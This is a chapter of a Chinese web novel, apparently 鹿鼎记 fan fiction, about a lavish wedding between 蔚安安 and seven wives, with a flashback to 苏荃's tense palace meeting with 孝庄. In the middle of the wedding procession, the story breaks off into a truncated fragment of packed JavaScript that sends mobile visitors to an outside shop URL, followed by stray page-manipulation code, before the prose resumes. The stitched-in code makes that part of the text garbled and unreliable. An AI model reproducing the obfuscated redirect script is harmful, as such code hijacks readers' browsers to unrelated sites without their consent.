311. {番外}大婚嫁娶全聚首

作品:《繁华一场[鹿鼎记]

    云南大理城,一个富庶繁华的镇上,出了一件又奇又喜的事儿,当地有名的豪商巨贾魏大善人要娶妻了,娶得不是新人,而是已经成亲多年的几位美貌夫人,其场面声势浩大,规格极高,每位夫人皆是三书六聘,八抬大轿,据说每位夫人都是十里红妆,极有台面。


    可奇就奇在,这魏大善人和几位夫人,娃娃都有好几个了,多年的老夫老妻,竟突然办起了婚嫁之事。


    其奢豪的宅子周围挂起了大红色的灯笼和喜花,喜庆的红毯从大宅门口一直延伸到集镇中心。


    镇上的百姓说起此事来,不由啧啧称奇,大为不解,这魏大善人多年之前搬来此地,据传闻是做钱庄生意的,家底丰厚,娇妻美妾,儿女双全,其乐融融,让镇上百姓甚是羡慕。


    不过如此巨豪富甲,没有什么架子,十分随和,出手阔绰大方,每月初一十五都会布施穷苦百姓,赠饭、施粥、送衣送物。


    镇上百姓受其恩德,不论是苗族人还是汉人,每每提起魏家都夸赞其福泽乡里,乐善好施。


    魏家广结善缘,就连当地县令也深受感动,特赐匾额“仁心仁术”以示褒奖。


    如今举行这桩奇怪的婚嫁之事,魏家更是豪阔请人参加,其酒席布置已经从宅里摆到了门外好几丈远,没能收到邀请的,就是拱手上前贺喜,也能得几两银子。


    镇上百姓虽然心中不解,但都自愿前往捧场,一时间魏家宅子,是人群涌动,门庭若市,进进出出,每人脸上皆是挂着喜色。


    蔚芊竹已到了十五六岁的年纪,一身粉色衣裙,简单挽了个发髻,身姿婀娜修长,眉目如画,清雅灵秀,一双弯弯的眉毛扬起的时候像建宁,更多的像蔚安安。


    她调皮的带着年幼的弟弟妹妹,穿梭在人群中,时不时的拿把瓜子,偶尔拿些糖果和糕点,分给跟在身后的跟屁虫们。


    三四个小娃娃吃着糕点,含糊不清的问道“姐姐...怎么不见哥哥跟咱们一起玩?”


    蔚芊竹朝院子里扫了一眼,将瓜子皮吐在地上,扬起下巴,说道“呐,书呆子正在记录客人给老爹的贺礼呢,这个书呆子,还总是喜欢围着笔墨打转。老爹,真是会物尽其用,这下不用请账房先生了。”


    几个娃娃不明白她再说什么,贪嘴的吃着糖果和糕点。


    许是姐弟心有灵犀,蔚铄停下笔,抬头朝蔚芊竹这边望了过来,他面冠如玉,唇若涂丹,剑眉飞扬,一双眼睛带着几分妖冶,不经意的蛊惑人心,双唇微翘,长身玉立,斯文风雅。


    “还真是个书呆子....”蔚芊竹见他又低头提笔记录,轻笑一声,笑道“走,姐姐带你们玩去。”


    几个娃娃乐得小跑跟在她的身后,在人群中来回穿梭。


    硕大的宅子中,停放了足足七个花轿,每个花轿旁,都配有八个轿夫,恭敬的等候。


    三四个裁缝急急忙忙的端着做好的吉服,递交给服侍夫人们的丫鬟,丫鬟们清点过后,将吉服和朱红碧翠的凤冠一起送入各个夫人的屋中。


    后院的花园之中,七个美艳如花的妇人围在一起,你一言我一语的说着,神色掩盖不住的激动和欣喜。


    时间并未给她们留下多少痕迹,七人越发的风情万种,美貌艳丽,淡妆娇面,眉目流盼,巧笑嫣然,如同一幅绚丽的画卷。


    双儿看着满府的喜庆红色,含羞的说道“没想到相公真的办起了喜事,此番外人瞧了,还不知怎么笑话咱们。”


    阿珂笑道“咱们过自己的日子,轮得着他们笑话么?外人可管不着。”


    苏荃娇媚一笑“阿珂妹妹说的是理,没想到双儿妹妹都当娘的人了,还是这么害羞。”


    曾柔笑道“安安为了这事,忙前忙活,事事巨细,着实辛苦了。”


    建宁嗔怨道“她那个死人头,磨磨唧唧,拖拖拉拉,早就该办的喜事,非得拖到现在。”


    沐剑屏秀眉一蹙,说道“那也不能怪魏大哥,也是一直有事耽搁了。”


    眼见两人又要争执起来,方怡急忙说道“好了、好了。过一会就要上花轿了,我看啊,你们还是尽早试试婚服合不合适罢。”


    建宁和沐剑屏努努嘴,这才没有吭声,其他几人见状,掩口轻笑,这么多年过去,脾气还是如此。


    方怡看着满院的喜字,目光莹然,呼吸有些急促,自己一直期盼的婚嫁终于到来,此生再无遗憾。


    不光是方怡神情激动,其他几女心中皆是一样,哪个女子不想风风光光的明媒正娶呢?


    正说笑着,府里管家匆匆进来,递给苏荃一封信,苏荃接过,挥手让他退下,打开信件,而后欢喜说道“如此真是太好了。”


    几女不明所以,曾柔开口问道“荃姐姐,怎么了?”


    苏荃将信件递给她,娇笑道“安安为我们办这么隆重的喜事,要是得知这个消息,她会很开心的,咱们也不告诉她,给她个惊喜,诸位妹妹,你们说如何?”


    大家凑近信件,低头看去,均是眼前一亮,不敢相信,不约而同的点头。


    阿珂神情激动,忙问道“荃姐姐,这个消息可是真的?”


    苏荃说道“自然是真的,阿珂妹妹放心就是。”


    方怡乐道“就听荃姐姐的,咱们就给安安一个惊喜。”


    刚收好信件,丫鬟走了过来,恭敬说道“诸位夫人,时辰快到了,还请回房试穿嫁衣。”


    七女一愣互相瞧了瞧,皆是面带粉霜,如桃花艳开,眼角眉梢含着笑意,互相微微欠身,转身朝自己房间走去,脚步都有些急促。


    苏荃回到屋中,关上房门,就看到床上摆放着凤冠霞帔,心中一颤,不由自主的走近。


    那凤冠单单看着就无比奢华精致,纯金的凤冠有着精美的雕花,两侧还有光泽的珍珠点缀,垂下的金丝闪闪发光,嫁衣赤红明艳,衣襟的刺绣是如意云纹,华贵动人。


    苏荃眼中含着泪光,如白玉般的手掌轻轻抚上了如丝绸般的嫁衣,思绪翻涌,还记得被洪安通抢去的时候,那天赤红的嫁衣被硬生生的套在自己身上,受了无尽的屈辱,与那恶心的老怪拜堂,现在想来,心中还阵阵泛呕。


    苏荃眼中含着冰冷的煞气,收回了手掌,生怕染脏了这美丽的华服,走到桌案之前,她平日喜爱丹青,蔚安安就准备许多的文房四宝,每一样皆是极品。


    想到她温柔的爱意,苏荃眼中煞气褪去,如初雪消融,红唇不由自主的翘起,翻看自己所画的画卷,从一开始与蔚安安的相遇、相识、相知、相爱,在通吃岛上生子,隐居。


    她都一一画了下来,时隔那么多年,往事一幕幕,却还是记忆犹新,不能忘怀。


    苏荃越看,笑意渐浓,手指抚上了画上蔚安安的脸庞和铄儿的模样,原本是想利用她的,是从什么时候喜欢她、相信她、依赖她,自己也记不清了,好在自己没有爱错人,她还是相处中令人动心的爱人。


    终是翻到了最后一张,苏荃手一顿,画卷没有完成,只是画了个房子的样式,便再也没有动笔。


    苏荃看着这张没有画完的图,笑容逐渐隐去,回身望了眼床上的凤冠霞帔,一时间有些心慌意乱,这张图原本是要画她从皇宫离开,相救茅十八的....


    她怔怔的看着房子的样式,抓紧了桌角,手掌泛着青白,双腿发软,坐在椅子上,呼出一口浊气,脑海中不断浮现那晚的场景。


    那晚,苏荃刚从雅慧的宫中出来,正往皇宫中的东北角矮墙赶去,走到廊上,忽然一人在后叫道“阿荃...这是要去哪?”


    苏荃身子一僵,以往的娇媚全然消失,回身看到对方提着灯笼走近,神情凛然,张了张口冷声道“有什么事?”


    “哎...”对方叹了口气,微弱的火光照着面容有些忽明忽暗,神色甚是愧疚,柔声说道“多年未见,态度何必这么差?毕竟我是....”


    苏荃环着双臂,嘲讽笑道“你现在是有身份牌面儿的人,找我这等草民干什么?”一双妖冶的双眸充满了恨意,瞧着那陌生却又熟悉的面容。


    对方呼吸急促,目光充满怜爱,想要上前,却局促不安的笑了笑“让我好好瞧瞧你,真的变得越发标致了。”


    苏荃神色微变,见对方脸上有着细细皱纹,头发夹在了不少白发,心中不是滋味,张了张口,将头扭到一边。


    此时巡查皇宫的侍卫们走了过来,见到二人,恭敬请安道“参见苏麻喇姑。”


    苏麻喇姑说道“你们都起来吧,这边暂时不用派人巡逻了,老祖宗这两天身体不怎么好,不喜欢别人打扰她老人家的清静。”


    巡查侍卫的队长急忙说道“是,奴才这就通知众卫队,这边清场。”说罢再次行礼,才领着众侍卫离开。


    苏荃在一旁冷冷的看着,微微的心软也消失殆尽,冷笑道“那草民也得尊称您苏麻喇姑,要是没什么草民就告退了。”


    苏麻喇姑着急的上前一步,柔声叫道“小塞音,你不认姑姑了么?”


    苏荃眼底恨意翻涌,咬牙切齿的说道“我不叫这个名字,我只有相公和儿子,除此之外,没有其他亲人。”


    苏麻喇姑踉跄后退一步,神情哀伤,说道“你还在恨我...我对不住你父亲,也对不起你...”


    “对不起?只是对不起么?你同意我嫁给那个恶心的老男人,他都可以当我爷爷了,你知不知道那是什么感受?很恶心。”苏荃心中各种情绪如滔天的巨浪一遍遍的翻涌,怒声的质问,泪水就要夺目而出,硬生生的压了下去,说道“现在说这些没用了,你还有什么事?”


    苏麻喇姑抓紧了灯笼的把手,嘴唇颤抖,红了眼眶,顿了一会,说道“老祖宗要见你。”


    苏荃低垂双眸,隐去眼中的恨意和反感,平静说道“走吧。”


    两人并排着走向西廊,拐了几拐,来到熟悉的院子外,苏麻喇姑停住脚步,柔声说道“小....”随即改口说道“阿荃,见了老祖宗...”


    苏荃淡淡说道“不用你提醒,我知道该如何。”


    苏麻喇姑神情黯然,提着灯笼,进了院子,门外的四名宫女,轻走上前,接过她手中的灯笼,行礼说道“参见苏麻喇姑。”


    苏荃蹙起了眉头,这四个宫女竟是大高手,看了看夜色,心中焦急,得尽快出宫才行。


    苏麻喇姑说道“免礼罢,你们在门外候着。”


    四名宫女颔首答应,齐齐退到两旁。


    苏麻喇姑轻叩三下门,而后推开房门,苏荃跟在她身后,踏入了这个她一生都不愿再来的屋子。


    房门被屋外的宫女轻闭,屋中充斥了不知名的花香,清香萦绕,久久不能散去。


    苏荃紧蹙眉头,这些花也不知道是什么品种,只要呆的久了,身上的花香味十天半月都久散不去。


    只见孝庄坐在椅子上,身上铺着较厚的毛毯,她已经满头银丝,面容苍老,双眼闭着,似乎是睡着了。


    苏麻喇姑轻走上前,俯下身凑近低语了几句。


    只见孝庄沉吟一声,缓缓睁开了双眼,瞧了过来,苏荃心中一凛,虽然她已经老去,但一双眼睛还是入目如电,人老心却不糊涂。


    孝庄笑眯眯的问道“是小塞音回来了么?”


    苏荃上前跪倒在地说道“奴婢苏荃叩见太皇太后。”


    苏麻喇姑脸色微变,刚要开口,孝庄笑呵呵的说道“真的是小塞音啊,这么久不见,真是美若天仙啊。快起来,快起来。你这回家了,也不第一时间来看看我,看来我这把老骨头是没人惦记了。”


    苏荃面色平静,磕头谢恩,手紧握成拳,又松了开,站起身恭敬说道“太皇太后身体强健,必能长命百岁。”


    孝庄笑着说道“哎呀,这孩子还是那么会说话,跟她十几岁的时候一个样。小塞音呐,这又没有外人,你那个假名字就不要用了,还听着生分。”


    苏荃说道“不敢,奴婢奉太皇太后和苏麻喇姑的旨意,潜伏在神龙教洪安通身边,这个名字已经用的习惯了,一时间也改不过来。”


    苏麻喇姑心疼的看着她,又轻轻叹了口气。


    孝庄见她二人这样,不由想起了自己和福临,说道“说是不生分,出去了那么多年,倒是我和你姑姑对不起你啊。”


    苏麻喇姑轻声道“老祖宗...”望着苏荃,忍不住流下眼泪。


    苏荃淡淡说道“奴婢不敢,为太皇太后办事是应该的。”


    孝庄问道“神龙教彻底消灭了么?有没有幸存的余孽?我担心他们会卷土重来。”


    苏荃说道“回太皇太后,神龙教彻底被消灭,教主洪安通被魏安就地格杀,教中数大高手联合反叛洪安通,被洪安通一一杀掉,这些都是奴婢亲眼所见,剩下的那些个教众基本都死在火炮之下,侥幸存活的,没有洪安通的独门解药,也活不过多时。”


    孝庄沉吟一声,甚是满意,又问道“那四十二章经呢?”


    苏荃有些紧张,说道“四十二章经先前被潜入皇宫卧底的毛东珠所得几本,全部呈交洪安通,洪安通死后,奴婢将其销毁,还有洪安通和吴三桂密谋联合反叛,吴三桂为表诚意,特地将自己手中的经书赠送与洪安通,奴婢也销毁了,应该是毁掉了四五部。剩下的奴婢就不知在何处了。”


    孝庄并未说话,苏荃心中七上八下,不知能不能瞒过去,等了许久,才听见她说道“此事办的很好。阿弥陀佛,真是天佑我大清啊。”


    苏荃这才松了口气,只听孝庄又问道“你现在跟在魏安身边,他深受宠爱,权势熏天,其势头可不比当年的吴三桂差,那可有对大清、皇上不轨之心啊?”


    苏荃不紧不慢的说道“回太皇太后,魏安并无僭越之心,他对皇上忠心耿耿,还曾与奴婢多次说起过,想要辞官退隐。”


    孝庄来了兴趣,问道“还有这等事?世俗之人皆是爱权爱财,他从一个身份卑微的奴才,一跃成为了爵爷,还能轻易放手么?”


    她身子从椅中坐起,微微前倾,仔细的盯着苏荃,问道“莫不是你有了他的孩子,成了他的夫人,对他动了心,就特意偏袒他,忘记了自己的使命和任务?”


    苏麻喇姑看到苏荃身子轻颤,心疼的想要上前劝慰,孝庄一摆手,阻止了她。


    苏荃将心中厌恶隐去,直直的看着孝庄双眼说道“奴婢不敢有半点欺瞒太皇太后,魏安决然没有任何不轨、反叛、对皇上、大清不利的想法和念头。”


    孝庄说道“人心这东西,是最拿捏不住的。若是他日后有呢?你该如何做?”


    苏荃只感觉她无声的掐着自己的脖子,一点点的收紧,有些喘不过气来,吸了口气沉声说道“奴婢一定会大义灭亲....杀了魏安..亲手...”


    孝庄问道“你话虽然这么说,到时候真的能做到么?”


    苏荃如鲠在喉,就快要哭了出来,强装镇定的说道“自然能,奴婢一直谨记太皇太后的训诫,不论何时何地何处,一切都要以大清为先,以大清为重,为大清牺牲一切。”


    孝庄点头说道“好在你还没感情冲昏了头,没有忘记这些。你父亲攻打准噶尔,死在了战场上,为咱们科尔沁立下了不少功劳,你也要像你父亲一样,守护大清,为大清立功。”


    苏荃颔首答道“是,奴婢谨记。”


    孝庄说道“若魏安真变成和吴三桂一样的时候,你要下不去手,那就别我狠心,另找别人下手了,到时候死的可就不止他一个,连你的儿子也得死。”


    苏荃惊惧万分,后颈冒出了冷汗,她太了解孝庄的手段,说到绝对能做到,咬着牙说道“是,奴婢谨遵太皇太后的旨意。”


    孝庄这才满意,侧头问道“苏麻,明日玄烨是不是要斩杀茅十八?”


    “是..是的,老祖宗。”苏麻喇姑用衣袖擦了擦脸,眼眶通红,不住的朝着侄女看去。


    孝庄说道“茅十八这个莽汉,现在还不能死,他还有价值,不说他和天地会的逆贼来往密切,顺着他查,迟早能将天地会那些逆贼一网打尽。”


    苏荃眼中浮现惊喜,既然孝庄这么说,那救下茅十八就更加简单了。


    苏麻喇姑说道“那老祖宗,您的意思是?”


    孝庄说道“一会,你替我拟旨,将我的旨意交给玄烨,并且说明其中缘由。这事就交给小塞音去办吧,救下那个莽汉,魏安还能更加信任她,更会对她毫不设防,一箭双雕,何乐不为?”


    两人脸色一变,齐声应道“是。”


    孝庄说道“让玄烨安排明日看守法场的人员,朝中的一些个大臣太不安分,是该清除掉一些人了。借小塞音的手除掉他们,再好不过了。”


    苏麻喇姑走到桌案前,拿出孝庄的金印,准备开始拟旨。


    苏荃觉得这屋中的花香呛得让人恶心,忍着不适,开口说道“奴婢出去等,不打扰太皇太后下旨。”


    孝庄说道“也好,你先出去吧。”


    苏荃行礼,退出了屋子,在门外的廊下,大口呼着新鲜口气。


    苏麻喇姑一直看着苏荃离开,暗自神伤,叹声提笔拟旨。


    孝庄开口问道“苏麻,你们姑侄吵架了?”


    苏麻喇姑轻声道“是我愧对于她。她不会原谅我的。让她那么小的年纪,去引诱洪安通那老贼,强逼着嫁给他,确实对她不公平。她怎么对我都是应该的,我欠她的。”


    孝庄沉声说道“嫁入在皇宫里的女人,哪一个是心甘情愿的嫁人,无不是为了家族荣耀,就连我当年不也是嫁给了一个老男人么?这世间的人和事,不由自主的太多了,哪能事事遂心,总是要牺牲一些的。”


    苏麻喇姑写着懿旨,没有说话,孝庄知道她心里是有怨的,说道“能吵架也好,福临远在天边,想吵都吵不起来。沫儿,我亏欠你,大清也亏欠你...”说着便咳嗽了起来。


    苏麻喇姑急忙放下笔,走过来给孝庄轻柔后背,哽咽的说道“你知道你身子不好,好好歇着。我只是....有些难受...阿荃受了太多的苦,我本应该照顾她的。”


    苏荃靠在廊下的柱子上,眼泪止不住的流,初秋的凉意打在她身上,让她如同堕入冰窖,无人救赎,即使洪安通死了多年,提起他,整个人还会后怕和恶心。


    她想念那个无比温暖的怀抱,和儿子的关怀,只有在她们身边,整个人才像是活着。


    没一会,苏麻喇姑推开房门,手中拿着黄布包裹的懿旨,见苏荃脸有泪痕,忙问道“阿荃,你哭了...”


    苏荃擦干眼泪,沉声道“赶紧走吧,时间块来不及了。”


    苏麻喇姑张了张口,收回了手,叹声道“好,这就走。”


    两人出了院子,步伐匆匆的朝乾清宫赶去,一路上寂静无言,只有呼吸声和脚步声,均匀的交替。


    巡查的侍卫,早已被孝庄下旨清场,不得擅自出入。


    忽然间,苏麻喇姑停住,沉声道“阿荃,我知道你一直恨我,我不怪你。我想说,当时老祖宗让你去办这件事...我的心里有多痛苦,你是我的侄女,我当然心疼,可谁让你是科尔沁的女人,科尔沁的女人生来就是为大清牺牲的,这是注定的。”


    苏荃听够了这些话语,只感觉是天大的笑话,似笑非笑说道“注定?凭什么?大清需要一个女人去伺候一个老男人才能稳固?这样的话和前明相比,也不过如此。噢,不,最起码前明还有点骨气,好歹皇帝为了百姓自尽了,大清....”


    “住口!不准说这些大逆不道的话!”苏麻喇姑抓住她的胳膊,警惕的看着周围,好在那些巡查侍卫,走夜的太监、宫女都让清场,否则以苏荃这番话,必定要杀头。她又着急又难过,脸色很差,说道“你以为我愿意让你去吗?我答应过你爹要好好照顾你,如今,让我死了以后,怎么向你爹交待。”


    苏荃猛地甩开身子,嘲笑道“有什么可交待的?人死如灯灭,死了就什么都没有了。照顾我?就是照顾到让我去陪一个足以当我爷爷的老男人,那我爹可真是瞎了眼!别跟我说你没有办法,你当时根本没有说一句不答应的话,也没有帮我求情。你什么都得到了,只有我和我爹牺牲了一切,真是可笑之极。以后不要说我是科尔沁的,我娘是汉人,我并不全是科尔沁人。”


    苏麻喇姑再也忍耐不住,哭着说道“我失去了你!这些年来的日日夜夜,我每时每刻都在后悔,为什么当年你父亲领你进宫,让她瞧见,我时时刻刻都在愧疚,为什么没能力阻止你踏入火坑....”


    苏荃看着她,眼神柔和了许多,侧过头沉声说道“一切都晚了,这座皇宫会吃人的,你已经被它吞噬的逃不开了....”


    “哗啦...哗啦..”一阵疾风吹来,桌案上的画卷被吹散,有的散落在地上。


    苏荃回过神来,脸色苍白,额头布满了汗珠,摸着那副房子样式的画卷,喃喃说道“姑姑...”


    “夫人...”蔚安安欢喜的推门而入,见苏荃坐着愣神,脸色极差,伸手抚上了她的额头,担忧问道“怎么出这么多汗?不会是着凉了吧?”


    苏荃感受到温暖的手掌,瞬间安下心来,抬眸朝她看去,唇角不自觉的勾起,说道“哪有着凉,我是刚刚收拾了一下,没想到来了一阵风,又把桌上的东西吹散了。”


    蔚安安抬手给她理了理发丝,牵着她的手,走到床边坐下,柔声说道“一会我来收拾就好了,你马上都是当新娘子的人了,应该好好休息、准备。”


    苏荃双臂环住她的腰,窝在安心的怀抱中,耳旁是砰砰有力的心跳声,将心中的慌乱和害怕缓缓驱散,但总还是存在的,就像是一根针藏在隐秘的地方,在不知道什么时候,给予致命的一击,就会毁掉现在幸福美满的生活。


    蔚安安搂着她娇软的身子,忙问道“是不是累了?”


    苏荃双眸闪烁,考虑了一下,轻声说道“我...我的过去,你还不曾知晓...”


    蔚安安轻笑道“睡觉的时候还会做噩梦么?过去都过去了,不需要知晓。我只知道,你是我的夫人,永远都是,就足够了。你的过去我未能参与,余生我陪你到老,好不好?”


    苏荃心房被感动和爱意整整填满,抱着她的双臂收紧,光洁的额头摩挲着她的下巴,红唇贴着脖颈间青色的脉络,轻笑道“好,就怕你到时候嫌我年老色衰,不要我了。”


    呼出的热气,打在晶白的肌肤上,立刻泛了一层粉云,蔚安安呼吸急促,心神荡漾,手掌延着婀娜腰身朝上抚摸,喘着急气,说道“生老病死,是人生常态。我也老了,还有什么资格嫌弃呢?”


    苏荃身子发软,轻打了她一下,嗔笑道“你就会说好听的哄人开心。”


    蔚安安从怀中掏出一个盒子,打开说道“你瞧,我托俏俏从罗刹国打造的戒指,终于做好了,每一个里面还刻上了你们和我的名字,喜不喜欢?”


    盒子中的戒指绚丽璀璨,嵌着艳红的宝石,样式别致精美,拿起细看,戒指里面确有她二人的名字,字体潇洒,苏荃从未见过如此绝美的戒指,令人陶醉,惊叹道“好美啊。”


    “来,我给你戴上。”蔚安安取过戒指,轻轻托起那如白玉一般的手掌,将戒指戴在了苏荃的无名指上,如血般艳丽的宝石与葱白的手指相互辉映,好看极了。


    苏荃笑问道“你什么时候跟俏俏说打造戒指的事?我怎么不知道?”


    蔚安安讪笑了几声说道“惊喜么,说出来就不是。俏俏估计一会就到了,这回是她一个人偷摸出罗刹,索尼娅国事比较忙,但也送来了贺礼。”


    听她说起国事,又想到朱俏俏是前明皇室,苏荃心里又是一紧,蹙眉说道“咱们在这隐居,过普通人的日子,你会不会嫌太平淡了?明明你有那么大的本事,可以有更好的天地...”


    蔚安安笑道“傻瓜,想什么呢?你知道我最大的心愿,就是和你们一起慢慢变老,除此之外别无他求。现在这样的生活,才是最幸福,最美好的。世人在这世道里迷了眼,却忘了这样生活才最为珍贵。”


    苏荃松了口气,心里还有一丝隐隐担心,问道“可是朱俏俏身份敏感,皇帝还想寻找你,万一漏了风声....”


    蔚安安自然知道她的顾虑,揽着她肩头说道“若是漏了风声,咱们早就离开了。我就不信,这天下之大,还没咱们一家的安身之处。有夫人运筹帷幄,还怕什么?”


    “贫嘴。”苏荃心中一颗石头落了地,只要这么普通生活下去,那边也找不到什么由头,一家子也会安然无恙的。


    瞧她娇慵艳丽的模样,蔚安安热血上涌,低头吻上了那双鲜艳的红唇,与之深深纠缠。


    苏荃身子紧紧的贴着她,帜热的温度从彼此身体传来,双臂如水蛇版缠在她的脖颈,邀请她品尝成熟的果子。


    正当二人情--欲涌动,门外传来丫鬟的声音“老爷、夫人,时辰快到了。”


    两人彼此喘着粗气,耳鬓厮磨,良久这才分开,蔚安安抬起她小巧的下巴,笑道“为我梳妆罢,今夜成为我最漂亮的新娘。”


    苏荃眼中全是笑意,轻声说道“我爱你。”


    蔚安安甚是欢喜,说道“我爱你,每一天,至死不渝。”


    到了酉时,魏家大门已经被人群围的水泄不通,一人高喊道“吉时到!”紧接着门口噼里啪啦的鞭炮声响起,人群捂着耳朵,有人高兴叫道“好!”


    大门口,蔚安安身穿新郎服,骑着黑美人,冲前来贺喜的人群拱手。


    紧接着司仪又叫道“起!”


    蔚安安轻勒马绳,在前方缓缓走,身后一顶接着一顶的花轿从府中抬了出来,跟着是数不清的嫁妆,阵势豪华浩大,敲锣打鼓的朝集镇中心走去。


    围观群众有不理解的,有小声讨论的,也有欢喜庆贺的,一时间场面十足。


    苏荃等七人,心情激动欢喜,时不时的掀开轿子窗口的帘子,偷偷朝外瞧去。


    过了莫约半个时辰,成婚队伍缓缓回到了魏家大宅,门里门外的酒桌早已坐的人满。


    花轿一顶又一顶的抬进天井,司仪高叫道“落轿,新娘子出!”


    只见花轿的轿帘被丫鬟撩起,七个新娘子齐齐踏出花轿,令人稀奇的是,她们七人都并未盖着红盖头,令人惊讶互相凑近讨论。


    有的人听闻新娘未盖红盖头,挤在大宅门口,拼命踮脚朝里看去,想要目睹新娘子的芳容。


    不过也有人表示理解,毕竟又不是大姑娘出嫁,只是走个形势,没必要在意那些个规矩,况且此地苗族人居多,苗家儿女更是不拘小节,没有汉人那些繁文缛节。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111428|149784||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >七女明艳动人,各个娇艳美丽,婀娜多姿,皆倾国娇娇之色,七女俏丽如若三春之桃,清素如若九秋之菊,娇艳如若盛夏之红玫,各有各的美貌,如百花齐放,惊诧众人,正所谓委委佗佗美也,皆是佳丽美艳之貌。


    人群窃窃私语,甚为羡慕这魏大善人的齐人之福。


    司仪又高叫道“新郎、新娘一齐入正厅!”


    蔚安安牵着手中的红花,左侧苏荃牵着另一头,右侧是双儿,再往后依次是建宁、曾柔、沐剑屏、阿珂、方怡。


    她们面若桃花,神色娇羞,一齐踏入了正厅。


    正厅的高堂之上,所座正是韦春花和陈圆圆,两人虽已上了年岁,依旧是风韵犹存,不减当年,另来贺喜的客人纷纷惊叹,这魏大善人不仅娶了貌美如花的七个媳妇,就连丈母娘和老娘都这么漂亮。


    司仪叫道“一拜天地!”


    蔚安安和七女同时回身,朝外拜去。


    司仪又叫道“二拜高堂!”


    蔚安安和七女转过身来,朝韦春花和陈圆圆一齐躬身相拜。


    韦春花笑中带泪,笑骂道“小王八蛋,真是有福气了。”


    陈圆圆看着自家女儿开心的模样,眼圈通红,连连点头,柔声道“快..起身...”


    司仪再次叫道“夫妻对拜!”


    蔚安安和七女相对而站,神情激动又高兴,喉头发紧,心中的千言万语,此刻竟一句也说不出来,满心真情只得化作一句笨拙的言语,抽着急气,嘴唇颤抖,哽咽说道“谢谢你们能爱我,我一定不会辜负你们。”


    七女不由得微微点头,很是感动欢喜,几人一路携手走了过来,自然知晓安安的全部爱意,抽了抽鼻子,忍住不哭了出来,梨花带雨,美貌可人,让人怜爱。


    蔚安安和七女一起躬身互相对拜。


    在场来贺礼的宾客,不知谁先带头鼓掌,高声叫道“好!恭喜!”


    随即众人接连鼓掌,一时间响声四震,叫好声、恭贺声一片。


    司仪又叫道“礼成!落座!开宴!”


    紧接着一道道的精美佳肴从后院端了出来,给门内门外的酒桌上菜,每桌所吃菜肴皆为珍贵上品,令前来贺喜的宾客大饱口福,一时间酒桌碰杯声,欢笑声、贺喜声、谈论声嘈杂不断,十分喜庆。


    蔚安安和七位夫人给正厅内的宾客道喜。


    她走到沐剑屏、方怡身边,拍拍二人的肩膀,轻声道“小郡主、方师姐,你们瞧,谁来了。”


    二女顺着她指的方向看去,立马激动的小跑过去,叫道“哥哥!”


    “师叔!”


    沐剑升和圣手居士苏岗欢喜叫道“小妹!”


    “师侄。”


    沐剑屏一下扑到沐剑升怀里,泣不成声说道“哥哥,好久没见,我好想念你,你过得好吗?”


    沐剑升轻拍她的后背,怜爱说道“我很好,这次是魏...”他本想说魏香主,又改口说道“这次是妹夫特地邀请我的,没想到你们在这里生活。只要你开心,幸福,我就很好高兴了。”


    沐剑屏抽泣说道“魏大哥对我很好,我很幸福。哥哥,我好想你....”


    方怡刚要拜见苏岗,被苏岗托住,笑着说道“师侄,今天是你的喜事,可不能向我行礼啊。”


    方怡嘴唇颤抖,眼圈微红,问道“师叔,好久不见,你老了。你和小公爷怎么会来?”


    苏岗笑道“我们突然接到传信,邀请我们参加你和小郡主的婚事。信中还有当年白氏双木兄弟给魏兄弟的令牌,这才相信,魏兄弟在信中说,不能让新娘子没有娘家人撑腰,我们可得前来给你和小郡主撑腰啊。”


    方怡心中一震,回头望向招呼客人的蔚安安,心中大为感动,不由得莞尔一笑。


    苏岗说道“魏兄弟,对咱们沐王府有恩,此番前来,我们为防止暴露行踪,对外声称外出公干,沐王府上下只有我和小公爷知道魏兄弟还有你和小郡主的消息,你们大可放心。”


    方怡掉下眼泪,说道“我知道,师叔,谢谢你和小公爷能来。我和小郡主真的很高兴。”


    苏岗拍拍她的肩头,慈爱说道“别哭,沐王府永远是你的后盾,是你的家。你师父岁数大了,出不了远门,前段时间还念叨着你,这回知道你过得好,他就是离世也没有什么遗憾了。”


    方怡急忙问道“那师父现在身体怎么样了?”


    苏岗说道“别担心,你师父现在每天打打拳,散散步,还是蛮硬朗的。”


    方怡这才放心,苏岗叹声道“沐王府出了刘一舟这个叛徒,也落寞了,现在咱们干些小本营生,倒也不急着干那些个的大事了...”


    双方许久未见,一时间聊了沐王府不少事情。


    一风姿绰约的女子走到蔚安安身边,笑道“魏安,你这家伙,收了好处,就忘了人么?我的双儿妹妹在哪?”


    双儿看清来人,高兴的跳脚,和她来了个大大的拥抱,笑道“俏俏姐,你来了,今天相公说你会来,我好高兴!”


    朱俏俏摸摸她的脑袋,笑道“傻丫头,我一定会来的。许久未见,你真是越来越漂亮了。魏安欺没欺负你?欺负你,我给你出气。”


    双儿娇羞的看着蔚安安,摇摇头说道“相公待我很好,没有欺负我。俏俏姐,你不用担心了。”


    蔚安安乐道“你这人,怎么这么小心眼,不就是让你帮忙造了几个戒指么?”


    阿珂搀扶着母亲,开心的说着话。


    苏荃、建宁、曾柔,看着其他几个姐妹都有亲人到场,一时间心中难过,鼻间发酸。


    此时韦春花领着蔚芊竹、蔚铄,还有几个小娃娃走了过来,她揽着几人的肩头,安慰道“好媳妇,别难受,为娘的就是你们亲人,这小王八蛋敢对你们不好,老娘第一个不同意。”


    三女笑着挽着她,齐声道“是,娘,最好了。”


    蔚芊竹笑道“奶奶,你的劲好大。”


    韦春花当即骂道“小兔崽子!是不是欠抽!”当即追着她举手就打,蔚芊竹一个神行百变,蹿了出去。


    蔚铄追上前忙说道“奶奶岁数大,别闪了腰。”


    其他几个娃娃跑着笑着说道“奶奶..追!”


    忽然蔚芊竹眼前突然出现一人,由于速度过快,避闪不开,就在要撞上之时,只见那人身子一侧,转瞬间来到她身后,揪着她的衣领,略微诧异说道“神行百变?功夫还行,就是练的不到家。”


    蔚芊竹自古不是吃亏的主,回身手指疾出,被那人一掌格开,点住穴道,轻笑道“年纪不大,脾气不小。”


